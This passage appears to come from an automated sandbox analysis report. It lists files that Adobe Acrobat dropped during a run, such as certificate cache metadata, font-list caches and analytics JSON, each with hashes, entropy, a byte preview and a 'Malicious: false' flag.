SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklfMK3/tfllXlE/HT8knQz/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKYeT8uQ3NMa8RdWBwRd
MD5:	A44CDF7467D6740506E13F50081D4B98
SHA1:	FD310B7442DE9B3BC9F4C5FA0B818E3FA1D33390
SHA-256:	53D73C46EB1C88400F23B86520C3DA73D97EF7597A1AAAC722BED334B5F05CB4
SHA-512:	896B36B3760EF8AE7D46DE8034A237CBC716A2ADB25811FE28534E39A2A432DE0FBA27DE6F2119CAD6FD6C687F77A77B4D7A457E024B34DBFC0B1A4443A711CC
Malicious:	false
Preview:	p...... ........l.E..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1307801111573577
Encrypted:	false
SSDEEP:	6:kKwyL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:niDnLNkPlE99SNxAhUe/3
MD5:	44D463D8A1AD83D1DE0441C304A7E803
SHA1:	ECA41A443E7207012122413F5D72780EFD484CBC
SHA-256:	202517FDCA3C3A0F1D395C10A984064DF7FDB517321FFD910D4A2BAA98035F5C
SHA-512:	C8BF13084866BD7DCCCAF6FA235E5A261EC46CECE40C67F1FE78FD01D536059385488864D26700D06F5B8C026CC2F69027B155AEE8E472C25D1030F4BD1B487B
Malicious:	false
Preview:	p...... .........=.1.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7924

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7924

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.330253503620125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJM3g98kUwPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGMbLUkee9
MD5:	F322B6517549E4D8343C05B2DDEF9411
SHA1:	2336C8BD4C581BC49C963402928FDC8DD6BEE5EE
SHA-256:	77410A5869B659117501334A493BBF2ADBEAB646FAAB8001E47BE7CB4FE9C79D
SHA-512:	7FC48AB4C21C00F076CFC5F78CF9138FEDFACEC91DF61B44AACB87EB9B08C1B4C43CB0C801851876A6381B25A9DAB9C5ED75E93E78A6AE43726DFF00D0AD6789
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.264008642375545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJfBoTfXpnrPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGWTfXcUkee9
MD5:	B422C45DBEDD0CFB9C5829618B4E5387
SHA1:	ACCABBC950F6BD6B01293921DAE8B68D162A51FF
SHA-256:	1CF302F5B2F80218C164A75E0E64EBB02AB41BA9BE5618B4F6CA5671E43991BD
SHA-512:	00D7DE31E78F2031BEC7EDABB94A2A14439419D41F97D002A8C42914A5913DC649AD763752A674CCE3BB78D8929AB5C029DE4D935B2F2AC19DC34A5ECC316AB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.242300860426328
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJfBD2G6UpnrPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGR22cUkee9
MD5:	E3EC39E037E09E973AE125A86DC62540
SHA1:	ABC1505399128714671B3805CAF4C3926D071726
SHA-256:	710C1B08ABD4711743790A91616AADF108C7166F8465046483A654CAD38B394A
SHA-512:	B129AD341C91CE089DA39FBB2DF5E03990FAEDD689FA84D0157C28C7907CA8FC6EC397FA9D5C3352CEB64714166A9CB351CCFC2A92055FE3A8ED0BF8AFF0A9DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.306040299895349
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJfPmwrPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGH56Ukee9
MD5:	06133C156BB181A00E6BF1A6C8B6A493
SHA1:	0FCB3406D2D0FBD969141F0BA2855361FA88DE88
SHA-256:	3E4000E7607F2BD72E788BF7163EC87A6D7BC40199BBE95D2B7BEA31072EC745
SHA-512:	CED317AE1D4AA98012AF7BAD057E9BE5A9E1EE058482CD56BB0CC67CA1C255D97AC82618824B3AC01FEA412A9E13C9F01C398FFF617E577CB16D6D5ED1D6485D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6822911408086805
Encrypted:	false
SSDEEP:	24:Yv6Xf3JhSBpLgE9cQx8LennAvzBvkn0RCmK8czOCCSD:YvE3Jhehgy6SAFv5Ah8cv/D
MD5:	8A68DF08433441F09DEFCDED52A37155
SHA1:	7E71E3018F99ED2DDF4CCE71F69800E60F332A3E
SHA-256:	758983EFB360ACCB826B781EFA59CD0963E96007F2AC98832DF0ABFD1D2B82A7
SHA-512:	206AA94C19308A3DEC26749CC9069346ABB7925CD72B28A7CB20BD0C5B6B9AE10F7FF96B3106BE66A9C1E139FC0DA7A0FB72A3EEA813416CB2DE6942EFCD8A9E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.251158570074767
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJf8dPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGU8Ukee9
MD5:	FB529057420FF51011F529D0C6D477D6
SHA1:	7750A03A927DA25586089C1A5DA78106B7781407
SHA-256:	CD06F3E87BF59CA0AA232ADFFF96BBDC3A98FF37FC325CB2383B5BF057ED8F80
SHA-512:	5C2EA5A996AC57D4354D0ADEA627B4C8DE86EEFEC678B757952B122DED46E8A2D958D20DC3F9C257D82ADE63D08C394C34293EE25E0C90EF4A354A6626AAA312
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.249513748157067
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJfQ1rPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGY16Ukee9
MD5:	F29D019DAD4B150B0BEC50E8FD2C523D
SHA1:	9CE1CB6172104A6D51406FE501767D2519D01B42
SHA-256:	A3F106581E1A68A58508B2DDF342B8AB12AFB01407630BEC7CA6F83FB2E927D4
SHA-512:	B66A5A6C85B8B5210604E2BCE9E0CF9A969CBBB791F275479F0BFFD1B9200D30394DB384114D105E68298D0A1AE1F9E292AF4822C2CC4E642B5344CF250CE267
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.266497078889239
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJfFldPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGz8Ukee9
MD5:	E4558509DABA66BD3C58E9194CA92C1A
SHA1:	F4A2BBCD20F103E2635BC0FF230B1143A211BE86
SHA-256:	E764DEB368B3E9241711C5F942A37DA8D186E528C37734116BE7D17221FBAA75
SHA-512:	98FE7D22750A357E041C38AB512F28A3938701B2E1C9C5259900CAF0CF21A9C737E117D587F3C795FBFF90B39EF61222270AE39878666B5CC231419C302D3FF3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.280495479400291
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJfzdPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGb8Ukee9
MD5:	E1E670A984C56C6DD250E6CCBA86F29A
SHA1:	54012D92B67DBD95AEC4AF6C8B3308DDD95715C2
SHA-256:	BFE564BE143CCC16AF09811ED565A861A95C61932169E2882D4244DFB5E06FCF
SHA-512:	3FC68D5DF083A0003E5860CD9C06C719B2BC065FF7C6914FB86A589F9E33248502DF3C3BB09C008409B846A2A0449B637947296990C5F236E95496EBF5C1AAB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2603322711389975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJfYdPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGg8Ukee9
MD5:	21D82EFEDB81234BFA56FEDAFD1C37D9
SHA1:	551D579DC61B01EE36C7BD4E2BF057B478F322BA
SHA-256:	7D4040C971C366199E5711D0F9DBC7F5428AFE7FCBD310EF1BB55DFAEF2367D4
SHA-512:	DA7333E6AC68694372C1359421A7BFAD30E21A5E66D85C89E955002FD95406CFC45E890EDD7D4A4BFA0B17D02A1FE698CBF41AC3B2308BACE5464BA46E466CEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.246533109443415
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJf+dPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEG28Ukee9
MD5:	6527694EAD6E32302A99957E376C0D22
SHA1:	529C99E6916B047308DC5D74E98FD4286255262B
SHA-256:	1A6DCBB076164CF63C43DE201E84C13840C295B9AC9973269EAB7A203F591E8E
SHA-512:	0F6ABB0727BFB92713425C4DA48B1EB972A9ECD24A2CA70E07725337D4E4CE327ACE1725339A40078A25F3183E1CAE25BA6B6410AE916808589C2C654E3B5AA9
Malicious:	false
